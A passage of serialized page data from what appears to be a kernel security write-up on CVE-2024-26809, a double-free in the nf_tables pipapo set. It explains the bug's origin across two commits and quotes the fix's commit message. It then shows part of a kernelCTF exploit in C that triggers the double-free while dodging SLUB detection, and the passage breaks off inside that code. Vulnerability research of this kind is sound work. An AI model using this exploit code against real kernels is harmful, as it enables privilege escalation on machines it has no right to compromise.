switch",{"type":23,"tag":230,"props":55250,"children":55251},{"style":274},[55252],{"type":29,"value":664},{"type":23,"tag":230,"props":55254,"children":55255},{"style":262},[55256],{"type":29,"value":54334},{"type":23,"tag":230,"props":55258,"children":55259},{"style":274},[55260],{"type":29,"value":16084},{"type":23,"tag":230,"props":55262,"children":55263},{"style":262},[55264],{"type":29,"value":54372},{"type":23,"tag":230,"props":55266,"children":55267},{"style":274},[55268],{"type":29,"value":827},{"type":23,"tag":230,"props":55270,"children":55271},{"class":232,"line":4542},[55272],{"type":23,"tag":230,"props":55273,"children":55274},{"style":274},[55275],{"type":29,"value":12649},{"type":23,"tag":230,"props":55277,"children":55278},{"class":232,"line":4559},[55279,55284],{"type":23,"tag":230,"props":55280,"children":55281},{"style":866},[55282],{"type":29,"value":55283}," case",{"type":23,"tag":230,"props":55285,"children":55286},{"style":274},[55287],{"type":29,"value":55288}," NFT_MSG_DELSET:\n",{"type":23,"tag":230,"props":55290,"children":55291},{"class":232,"line":4587},[55292,55296],{"type":23,"tag":230,"props":55293,"children":55294},{"style":866},[55295],{"type":29,"value":55283},{"type":23,"tag":230,"props":55297,"children":55298},{"style":274},[55299],{"type":29,"value":55300}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":230,"props":55302,"children":55303},{"class":232,"line":4595},[55304,55309,55313,55317,55321,55325,55329,55333,55337],{"type":23,"tag":230,"props":55305,"children":55306},{"style":294},[55307],{"type":29,"value":55308},"  nft_set_destroy",{"type":23,"tag":230,"props":55310,"children":55311},{"style":274},[55312],{"type":29,"value":302},{"type":23,"tag":230,"props":55314,"children":55315},{"style":268},[55316],{"type":29,"value":5448},{"type":23,"tag":230,"props":55318,"children":55319},{"style":274},[55320],{"type":29,"value":54334},{"type":23,"tag":230,"props":55322,"children":55323},{"style":268},[55324],{"type":29,"value":16084},{"type":23,"tag":230,"props":55326,"children":55327},{"style":262},[55328],{"type":29,"value":22595},{"type":23,"tag":230,"props":55330,"children":55331},{"style":274},[55332],{"type":29,"value":684},{"type":23,"tag":230,"props":55334,"children":55335},{"style":294},[55336],{"type":29,"value":54300},{"type":23,"tag":230,"props":55338,"children":55339},{"style":274},[55340],{"type":29,"value":55341},"(trans));\n",{"type":23,"tag":230,"props":55343,"children":55344},{"class":232,"line":4619},[55345],{"type":23,"tag":230,"props":55346,"children":55347},{"style":274},[55348],{"type":29,"value":12649},{"type":23,"tag":230,"props":55350,"children":55351},{"class":232,"line":4627},[55352],{"type":23,"tag":230,"props":55353,"children":55354},{"style":274},[55355],{"type":29,"value":975},{"type":23,"tag":230,"props":55357,"children":55358},{"class":232,"line":4659},[55359],{"type":23,"tag":230,"props":55360,"children":55361},{"style":274},[55362],{"type":29,"value":12649},{"type":23,"tag":230,"props":55364,"children":55365},{"class":232,"line":4671},[55366,55370,55374,55379,55383,55387,55391,55395,55399,55404,55408,55412,55416],{"type":23,"tag":230,"props":55367,"children":55368},{"style":256},[55369],{"type":29,"value":52817},{"type":23,"tag":230,"props":55371,"children":55372},{"style":256},[55373],{"type":29,"value":52822},{"type":23,"tag":230,"props":55375,"children":55376},{"style":294},[55377],{"type":29,"value":55378}," nft_set_destroy",{"type":23,"tag":230,"props":55380,"children":55381},{"style":274},[55382],{"type":29,"value":302},{"type":23,"tag":230,"props":55384,"children":55385},{"style":256},[55386],{"type":29,"value":259},{"type":23,"tag":230,"props":55388,"children":55389},{"style":256},[55390],{"type":29,"value":23465},{"type":23,"tag":230,"props":55392,"children":55393},{"style":274},[55394],{"type":29,"value":52844},{"type":23,"tag":230,"props":55396,"children":55397},{"style":268},[55398],{"type":29,"value":6909},{"type":23,"tag":230,"props":55400,"children":55401},{"style":274},[55402],{"type":29,"value":55403},"ctx, ",{"type":23,"tag":230,"props":55405,"children":55406},{"style":256},[55407],{"type":29,"value":11733},{"type":23,"tag":230,"props":55409,"children":55410},{"style":274},[55411],{"type":29,"value":52872},{"type":23,"tag":230,"props":55413,"children":55414},{"style":268},[55415],{"type":29,"value":6909},{"type":23,"tag":230,"props":55417,"children":55418},{"style":274},[55419],{"type":29,"value":55420},"set)\n",{"type":23,"tag":230,"props":55422,"children":55423},{"class":232,"line":4688},[55424],{"type":23,"tag":230,"props":55425,"children":55426},{"style":274},[55427],{"type":29,"value":13211},{"type":23,"tag":230,"props":55429,"children":55430},{"class":232,"line":4701},[55431],{"type":23,"tag":230,"props":55432,"children":55433},{"style":274},[55434],{"type":29,"value":12649},{"type":23,"tag":230,"props":55436,"children":55437},{"class":232,"line":4724},[55438,55442,55446,55450,55454,55459],{"type":23,"tag":230,"props":55439,"children":55440},{"style":262},[55441],{"type":29,"value":54859},{"type":23,"tag":230,"props":55443,"children":55444},{"style":274},[55445],{"type":29,"value":16084},{"type":23,"tag":230,"props":55447,"children":55448},{"style":262},[55449],{"type":29,"value":54443},{"type":23,"tag":230,"props":55451,"children":55452},{"style":274},[55453],{"type":29,"value":16084},{"type":23,"tag":230,"props":55455,"children":55456},{"style":294},[55457],{"type":29,"value":55458},"destroy",{"type":23,"tag":230,"props":55460,"children":55461},{"style":274},[55462],{"type":29,"value":55463},"(ctx, set);\n",{"type":23,"tag":230,"props":55465,"children":55466},{"class":232,"line":4741},[55467],{"type":23,"tag":230,"props":55468,"children":55469},{"style":274},[55470],{"type":29,"value":12649},{"type":23,"tag":230,"props":55472,"children":55473},{"class":232,"line":4759},[55474],{"type":23,"tag":230,"props":55475,"children":55476},{"style":274},[55477],{"type":29,"value":975},{"type":23,"tag":32,"props":55479,"children":55480},{},[55481,55483,55488,55490,55495,55497,55503,55505,55510,55512,55517,55519,55523,55525,55530,55531,55535,55537,55543],{"type":29,"value":55482},"It may appear as if it would be impossible to make ",{"type":23,"tag":71,"props":55484,"children":55486},{"className":55485},[],[55487],{"type":29,"value":52746},{"type":29,"value":55489}," true in the release step because the ",{"type":23,"tag":71,"props":55491,"children":55493},{"className":55492},[],[55494],{"type":29,"value":54118},{"type":29,"value":55496}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":71,"props":55498,"children":55500},{"className":55499},[],[55501],{"type":29,"value":55502},"set->dead",{"type":29,"value":55504}," flag. If a ",{"type":23,"tag":71,"props":55506,"children":55508},{"className":55507},[],[55509],{"type":29,"value":52792},{"type":29,"value":55511}," was marked for deletion, it receives the ",{"type":23,"tag":71,"props":55513,"children":55515},{"className":55514},[],[55516],{"type":29,"value":55502},{"type":29,"value":55518}," flag ",{"type":23,"tag":230,"props":55520,"children":55521},{},[55522],{"type":29,"value":5462},{"type":29,"value":55524},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":71,"props":55526,"children":55528},{"className":55527},[],[55529],{"type":29,"value":52792},{"type":29,"value":3374},{"type":23,"tag":230,"props":55532,"children":55533},{},[55534],{"type":29,"value":19849},{"type":29,"value":55536},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":71,"props":55538,"children":55540},{"className":55539},[],[55541],{"type":29,"value":55542},"priv ->dirty",{"type":29,"value":55544}," flag is not cleared when it should have been.",{"type":23,"tag":24,"props":55546,"children":55548},{"id":55547},"tracing-the-guilty-commit",[55549],{"type":29,"value":55550},"Tracing the guilty commit",{"type":23,"tag":32,"props":55552,"children":55553},{},[55554,55556,55563,55565,55571,55573,55578,55580,55586],{"type":29,"value":55555},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":181,"props":55557,"children":55560},{"href":55558,"rel":55559},"https://ubuntu.com/security/CVE-2024-26809",[185],[55561],{"type":29,"value":55562},"advisories",{"type":29,"value":55564}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":181,"props":55566,"children":55569},{"href":55567,"rel":55568},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[185],[55570],{"type":29,"value":54452},{"type":29,"value":55572},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":71,"props":55574,"children":55576},{"className":55575},[],[55577],{"type":29,"value":55502},{"type":29,"value":55579}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":181,"props":55581,"children":55584},{"href":55582,"rel":55583},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[185],[55585],{"type":29,"value":54452},{"type":29,"value":312},{"type":23,"tag":32,"props":55588,"children":55589},{},[55590],{"type":29,"value":55591},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":220,"props":55593,"children":55597},{"className":55594,"code":55595,"language":55596,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[55598],{"type":23,"tag":71,"props":55599,"children":55600},{"__ignoreMap":7},[55601,55609,55617,55624,55632,55640,55647,55655,55662,55670,55678,55685,55693,55701,55709,55717,55725,55733,55741,55749,55757,55764,55772,55780,55787,55795,55803,55811,55819,55827,55834,55842,55850],{"type":23,"tag":230,"props":55602,"children":55603},{"class":232,"line":233},[55604],{"type":23,"tag":230,"props":55605,"children":55606},{},[55607],{"type":29,"value":55608},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":230,"props":55610,"children":55611},{"class":232,"line":243},[55612],{"type":23,"tag":230,"props":55613,"children":55614},{},[55615],{"type":29,"value":55616},"transaction is aborted.\n",{"type":23,"tag":230,"props":55618,"children":55619},{"class":232,"line":252},[55620],{"type":23,"tag":230,"props":55621,"children":55622},{"emptyLinePlaceholder":18},[55623],{"type":29,"value":459},{"type":23,"tag":230,"props":55625,"children":55626},{"class":232,"line":280},[55627],{"type":23,"tag":230,"props":55628,"children":55629},{},[55630],{"type":29,"value":55631},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":230,"props":55633,"children":55634},{"class":232,"line":334},[55635],{"type":23,"tag":230,"props":55636,"children":55637},{},[55638],{"type":29,"value":55639},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":230,"props":55641,"children":55642},{"class":232,"line":371},[55643],{"type":23,"tag":230,"props":55644,"children":55645},{},[55646],{"type":29,"value":12649},{"type":23,"tag":230,"props":55648,"children":55649},{"class":232,"line":391},[55650],{"type":23,"tag":230,"props":55651,"children":55652},{},[55653],{"type":29,"value":55654},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":230,"props":55656,"children":55657},{"class":232,"line":400},[55658],{"type":23,"tag":230,"props":55659,"children":55660},{},[55661],{"type":29,"value":12649},{"type":23,"tag":230,"props":55663,"children":55664},{"class":232,"line":444},[55665],{"type":23,"tag":230,"props":55666,"children":55667},{},[55668],{"type":29,"value":55669},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":230,"props":55671,"children":55672},{"class":232,"line":453},[55673],{"type":23,"tag":230,"props":55674,"children":55675},{},[55676],{"type":29,"value":55677},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":230,"props":55679,"children":55680},{"class":232,"line":462},[55681],{"type":23,"tag":230,"props":55682,"children":55683},{},[55684],{"type":29,"value":12649},{"type":23,"tag":230,"props":55686,"children":55687},{"class":232,"line":471},[55688],{"type":23,"tag":230,"props":55689,"children":55690},{},[55691],{"type":29,"value":55692},"[16302.231917] Call Trace:\n",{"type":23,"tag":230,"props":55694,"children":55695},{"class":232,"line":500},[55696],{"type":23,"tag":230,"props":55697,"children":55698},{},[55699],{"type":29,"value":55700},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":230,"props":55702,"children":55703},{"class":232,"line":514},[55704],{"type":23,"tag":230,"props":55705,"children":55706},{},[55707],{"type":29,"value":55708},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":230,"props":55710,"children":55711},{"class":232,"line":897},[55712],{"type":23,"tag":230,"props":55713,"children":55714},{},[55715],{"type":29,"value":55716},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":230,"props":55718,"children":55719},{"class":232,"line":960},[55720],{"type":23,"tag":230,"props":55721,"children":55722},{},[55723],{"type":29,"value":55724},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":230,"props":55726,"children":55727},{"class":232,"line":969},[55728],{"type":23,"tag":230,"props":55729,"children":55730},{},[55731],{"type":29,"value":55732},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":230,"props":55734,"children":55735},{"class":232,"line":4526},[55736],{"type":23,"tag":230,"props":55737,"children":55738},{},[55739],{"type":29,"value":55740},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":230,"props":55742,"children":55743},{"class":232,"line":4534},[55744],{"type":23,"tag":230,"props":55745,"children":55746},{},[55747],{"type":29,"value":55748},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":230,"props":55750,"children":55751},{"class":232,"line":4542},[55752],{"type":23,"tag":230,"props":55753,"children":55754},{},[55755],{"type":29,"value":55756},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":230,"props":55758,"children":55759},{"class":232,"line":4559},[55760],{"type":23,"tag":230,"props":55761,"children":55762},{"emptyLinePlaceholder":18},[55763],{"type":29,"value":459},{"type":23,"tag":230,"props":55765,"children":55766},{"class":232,"line":4587},[55767],{"type":23,"tag":230,"props":55768,"children":55769},{},[55770],{"type":29,"value":55771},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":230,"props":55773,"children":55774},{"class":232,"line":4595},[55775],{"type":23,"tag":230,"props":55776,"children":55777},{},[55778],{"type":29,"value":55779},"elements in the lookup tables.\n",{"type":23,"tag":230,"props":55781,"children":55782},{"class":232,"line":4619},[55783],{"type":23,"tag":230,"props":55784,"children":55785},{"emptyLinePlaceholder":18},[55786],{"type":29,"value":459},{"type":23,"tag":230,"props":55788,"children":55789},{"class":232,"line":4627},[55790],{"type":23,"tag":230,"props":55791,"children":55792},{},[55793],{"type":29,"value":55794},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":230,"props":55796,"children":55797},{"class":232,"line":4659},[55798],{"type":23,"tag":230,"props":55799,"children":55800},{},[55801],{"type":29,"value":55802},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":230,"props":55804,"children":55805},{"class":232,"line":4671},[55806],{"type":23,"tag":230,"props":55807,"children":55808},{},[55809],{"type":29,"value":55810},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":230,"props":55812,"children":55813},{"class":232,"line":4688},[55814],{"type":23,"tag":230,"props":55815,"children":55816},{},[55817],{"type":29,"value":55818},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":230,"props":55820,"children":55821},{"class":232,"line":4701},[55822],{"type":23,"tag":230,"props":55823,"children":55824},{},[55825],{"type":29,"value":55826},"to it).\"\n",{"type":23,"tag":230,"props":55828,"children":55829},{"class":232,"line":4724},[55830],{"type":23,"tag":230,"props":55831,"children":55832},{"emptyLinePlaceholder":18},[55833],{"type":29,"value":459},{"type":23,"tag":230,"props":55835,"children":55836},{"class":232,"line":4741},[55837],{"type":23,"tag":230,"props":55838,"children":55839},{},[55840],{"type":29,"value":55841},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":230,"props":55843,"children":55844},{"class":232,"line":4759},[55845],{"type":23,"tag":230,"props":55846,"children":55847},{},[55848],{"type":29,"value":55849},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":230,"props":55851,"children":55852},{"class":232,"line":4768},[55853],{"type":23,"tag":230,"props":55854,"children":55855},{},[55856],{"type":29,"value":55857},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":32,"props":55859,"children":55860},{},[55861,55863,55868,55870,55875,55877,55882,55884,55889],{"type":29,"value":55862},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":71,"props":55864,"children":55866},{"className":55865},[],[55867],{"type":29,"value":52792},{"type":29,"value":55869}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":71,"props":55871,"children":55873},{"className":55872},[],[55874],{"type":29,"value":54118},{"type":29,"value":55876}," method by simply replacing the ",{"type":23,"tag":71,"props":55878,"children":55880},{"className":55879},[],[55881],{"type":29,"value":52792},{"type":29,"value":55883},"s match object with its updated clone. So checking the ",{"type":23,"tag":71,"props":55885,"children":55887},{"className":55886},[],[55888],{"type":29,"value":52746},{"type":29,"value":55890}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":32,"props":55892,"children":55893},{},[55894,55896,55901],{"type":29,"value":55895},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":71,"props":55897,"children":55899},{"className":55898},[],[55900],{"type":29,"value":52792},{"type":29,"value":55902},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":32,"props":55904,"children":55905},{},[55906,55908,55914,55916,55921,55923,55928],{"type":29,"value":55907},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":71,"props":55909,"children":55911},{"className":55910},[],[55912],{"type":29,"value":55913},"set->ops->destroy()",{"type":29,"value":55915}," could be called without clearing the ",{"type":23,"tag":71,"props":55917,"children":55919},{"className":55918},[],[55920],{"type":29,"value":52746},{"type":29,"value":55922}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":71,"props":55924,"children":55926},{"className":55925},[],[55927],{"type":29,"value":52784},{"type":29,"value":55929},"s, so they would all be in the clone set.",{"type":23,"tag":32,"props":55931,"children":55932},{},[55933,55935,55940],{"type":29,"value":55934},"But when the ",{"type":23,"tag":71,"props":55936,"children":55938},{"className":55937},[],[55939],{"type":29,"value":55502},{"type":29,"value":55941}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":32,"props":55943,"children":55944},{},[55945],{"type":29,"value":55946},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":24,"props":55948,"children":55950},{"id":55949},"kernelctf-exploit",[55951],{"type":29,"value":55952},"KernelCTF exploit",{"type":23,"tag":32,"props":55954,"children":55955},{},[55956,55958,55964,55966,55973],{"type":29,"value":55957},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":71,"props":55959,"children":55961},{"className":55960},[],[55962],{"type":29,"value":55963},"nft_object + udata",{"type":29,"value":55965}," technique shared by lonial con in a ",{"type":23,"tag":181,"props":55967,"children":55970},{"href":55968,"rel":55969},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[185],[55971],{"type":29,"value":55972},"previous kernelCTF exploit",{"type":29,"value":312},{"type":23,"tag":59,"props":55975,"children":55977},{"id":55976},"trigger-uafavoid-double-free-detection",[55978],{"type":29,"value":55979},"Trigger UAF/avoid double-free detection",{"type":23,"tag":32,"props":55981,"children":55982},{},[55983,55985,55991,55993,55999],{"type":29,"value":55984},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":71,"props":55986,"children":55988},{"className":55987},[],[55989],{"type":29,"value":55990},"nft_set_pipapo_match_destroy",{"type":29,"value":55992}," iterates over the ",{"type":23,"tag":71,"props":55994,"children":55996},{"className":55995},[],[55997],{"type":29,"value":55998},"setelems",{"type":29,"value":56000}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":144,"props":56002,"children":56003},{},[56004,56009,56014,56019],{"type":23,"tag":102,"props":56005,"children":56006},{},[56007],{"type":29,"value":56008},"Element A gets freed",{"type":23,"tag":102,"props":56010,"children":56011},{},[56012],{"type":29,"value":56013},"Element B gets free",{"type":23,"tag":102,"props":56015,"children":56016},{},[56017],{"type":29,"value":56018},"Element A gets freed again (double-free)",{"type":23,"tag":102,"props":56020,"children":56021},{},[56022],{"type":29,"value":56023},"Element B gets freed again (double-free)",{"type":23,"tag":220,"props":56025,"children":56027},{"className":31417,"code":56026,"language":31419,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[56028],{"type":23,"tag":71,"props":56029,"children":56030},{"__ignoreMap":7},[56031,56038,56099,56106,56113,56121,56128,56135,56143,56167,56188,56222,56283,56290,56298,56350,56357,56383,56410,56449,56478,56507,56529,56536,56543,56550,56558,56565,56573,56586,56599,56619,56626,56634,56656,56688,56733,56769,56797,56804,56811,56819,56826,56842,56849],{"type":23,"tag":230,"props":56032,"children":56033},{"class":232,"line":233},[56034],{"type":23,"tag":230,"props":56035,"children":56036},{"style":274},[56037],{"type":29,"value":12649},{"type":23,"tag":230,"props":56039,"children":56040},{"class":232,"line":243},[56041,56046,56050,56055,56059,56064,56068,56073,56078,56082,56086,56090,56095],{"type":23,"tag":230,"props":56042,"children":56043},{"style":274},[56044],{"type":29,"value":56045},"static void trigger_uaf(",{"type":23,"tag":230,"props":56047,"children":56048},{"style":256},[56049],{"type":29,"value":11733},{"type":23,"tag":230,"props":56051,"children":56052},{"style":676},[56053],{"type":29,"value":56054}," mnl_socket",{"type":23,"tag":230,"props":56056,"children":56057},{"style":256},[56058],{"type":29,"value":12147},{"type":23,"tag":230,"props":56060,"children":56061},{"style":262},[56062],{"type":29,"value":56063},"nl",{"type":23,"tag":230,"props":56065,"children":56066},{"style":274},[56067],{"type":29,"value":684},{"type":23,"tag":230,"props":56069,"children":56070},{"style":256},[56071],{"type":29,"value":56072},"size_t",{"type":23,"tag":230,"props":56074,"children":56075},{"style":262},[56076],{"type":29,"value":56077}," size",{"type":23,"tag":230,"props":56079,"children":56080},{"style":274},[56081],{"type":29,"value":684},{"type":23,"tag":230,"props":56083,"children":56084},{"style":256},[56085],{"type":29,"value":21364},{"type":23,"tag":230,"props":56087,"children":56088},{"style":256},[56089],{"type":29,"value":12147},{"type":23,"tag":230,"props":56091,"children":56092},{"style":262},[56093],{"type":29,"value":56094},"msgqids",{"type":23,"tag":230,"props":56096,"children":56097},{"style":274},[56098],{"type":29,"value":4516},{"type":23,"tag":230,"props":56100,"children":56101},{"class":232,"line":252},[56102],{"type":23,"tag":230,"props":56103,"children":56104},{"style":274},[56105],{"type":29,"value":13211},{"type":23,"tag":230,"props":56107,"children":56108},{"class":232,"line":280},[56109],{"type":23,"tag":230,"props":56110,"children":56111},{"style":274},[56112],{"type":29,"value":12649},{"type":23,"tag":230,"props":56114,"children":56115},{"class":232,"line":334},[56116],{"type":23,"tag":230,"props":56117,"children":56118},{"style":274},[56119],{"type":29,"value":56120},"    // TRANSACTION 2\n",{"type":23,"tag":230,"props":56122,"children":56123},{"class":232,"line":371},[56124],{"type":23,"tag":230,"props":56125,"children":56126},{"style":274},[56127],{"type":29,"value":12649},{"type":23,"tag":230,"props":56129,"children":56130},{"class":232,"line":391},[56131],{"type":23,"tag":230,"props":56132,"children":56133},{"emptyLinePlaceholder":18},[56134],{"type":29,"value":459},{"type":23,"tag":230,"props":56136,"children":56137},{"class":232,"line":400},[56138],{"type":23,"tag":230,"props":56139,"children":56140},{"style":274},[56141],{"type":29,"value":56142},"    // create pipapo set\n",{"type":23,"tag":230,"props":56144,"children":56145},{"class":232,"line":444},[56146,56151,56155,56159,56163],{"type":23,"tag":230,"props":56147,"children":56148},{"style":274},[56149],{"type":29,"value":56150},"    uint8_t desc[2] = {",{"type":23,"tag":230,"props":56152,"children":56153},{"style":5149},[56154],{"type":29,"value":42613},{"type":23,"tag":230,"props":56156,"children":56157},{"style":274},[56158],{"type":29,"value":684},{"type":23,"tag":230,"props":56160,"children":56161},{"style":5149},[56162],{"type":29,"value":42613},{"type":23,"tag":230,"props":56164,"children":56165},{"style":274},[56166],{"type":29,"value":450},{"type":23,"tag":230,"props":56168,"children":56169},{"class":232,"line":453},[56170,56175,56179,56184],{"type":23,"tag":230,"props":56171,"children":56172},{"style":274},[56173],{"type":29,"value":56174},"    set ",{"type":23,"tag":230,"props":56176,"children":56177},{"style":268},[56178],{"type":29,"value":863},{"type":23,"tag":230,"props":56180,"children":56181},{"style":294},[56182],{"type":29,"value":56183}," create_set",{"type":23,"tag":230,"props":56185,"children":56186},{"style":274},[56187],{"type":29,"value":619},{"type":23,"tag":230,"props":56189,"children":56190},{"class":232,"line":462},[56191,56196,56200,56205,56210,56214,56218],{"type":23,"tag":230,"props":56192,"children":56193},{"style":274},[56194],{"type":29,"value":56195},"        batch, seq",{"type":23,"tag":230,"props":56197,"children":56198},{"style":268},[56199],{"type":29,"value":53042},{"type":23,"tag":230,"props":56201,"children":56202},{"style":274},[56203],{"type":29,"value":56204},", exploit_table_name, 